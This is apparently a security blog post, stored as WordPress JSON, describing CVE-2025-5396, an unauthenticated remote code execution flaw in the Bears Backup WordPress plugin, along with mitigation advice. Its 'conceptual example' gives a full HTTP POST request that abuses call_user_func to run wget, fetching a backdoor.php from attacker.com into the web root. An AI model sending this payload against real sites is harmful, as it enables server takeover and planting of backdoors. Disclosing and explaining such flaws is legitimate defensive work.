{"id":59582,"date":"2025-07-23T08:45:45","date_gmt":"2025-07-23T08:45:45","guid":{"rendered":""},"modified":"2025-09-27T08:15:30","modified_gmt":"2025-09-27T14:15:30","slug":"cve-2025-5396-remote-code-execution-vulnerability-in-bears-backup-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5396-remote-code-execution-vulnerability-in-bears-backup-plugin-for-wordpress\/","title":{"rendered":"CVE-2025-5396: Remote Code Execution Vulnerability in Bears Backup Plugin for WordPress<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the rapidly evolving cyber landscape, the importance of maintaining updated and secure software cannot be overstated. One such vulnerability that requires immediate attention is the CVE-2025-5396, which affects the Bears Backup Plugin for WordPress. The vulnerability allows for Remote<\/a> Code Execution (RCE), a severe security breach that can result in the compromise of an entire system. It affects all versions up to, and including, 2.0.0 of the plugin. Given the widespread usage of WordPress, this vulnerability poses a serious threat<\/a> to numerous websites and their associated data.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-5396
\nSeverity: Critical (9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Remote Code Execution leading<\/a> to potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Bears Backup Plugin for WordPress<\/a> | Up to and including 2.0.0
\nAlone WordPress Theme<\/a> | 7.8.4 and older<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The crux of the vulnerability lies in the absence of a capability check and validation of user-supplied input<\/a> in the bbackup_ajax_handle() function. This lack of security measures allows unauthenticated attackers to pass malicious input directly to call_user_func(), leading to the execution of arbitrary code<\/a> on the server. This vulnerability can be leveraged by attackers to inject<\/a> backdoors or create new administrative user accounts, among other things. The CVE-2025-5394 vulnerability in the Alone WordPress<\/a> theme can be chained with this vulnerability to install the Bears Backup plugin and achieve the same impact.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited. Note that this is pseudocode and not actual code.<\/p>\n

POST \/wp-admin\/admin-ajax.php?action=bbackup_ajax_handle HTTP\/1.1\nHost: vulnerable-site.com\nContent-Type: application\/x-www-form-urlencoded\nfunction=call_user_func&args[]=system&args[]=wget%20http:\/\/attacker.com\/backdoor.php%20-O%20\/var\/www\/html\/backdoor.php<\/code><\/pre>\n
In this example, an HTTP POST request is made to the vulnerable<\/a> endpoint. The ‘function’ parameter is used to call the ‘system’ function, which then fetches a malicious PHP file<\/a> (backdoor.php) from the attacker’s server and writes it to the root directory of the target’s server.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
To mitigate this vulnerability, it is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used for temporary mitigation. Regularly updating your software, enforcing strong user privileges, and practicing secure coding techniques can also help in managing such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview In the rapidly evolving cyber landscape, the importance of maintaining updated and secure software cannot be overstated. One such vulnerability that requires immediate attention is the CVE-2025-5396, which affects the Bears Backup Plugin for WordPress. The vulnerability allows for Remote Code Execution (RCE), a severe security breach that can result in the compromise of […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59582","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t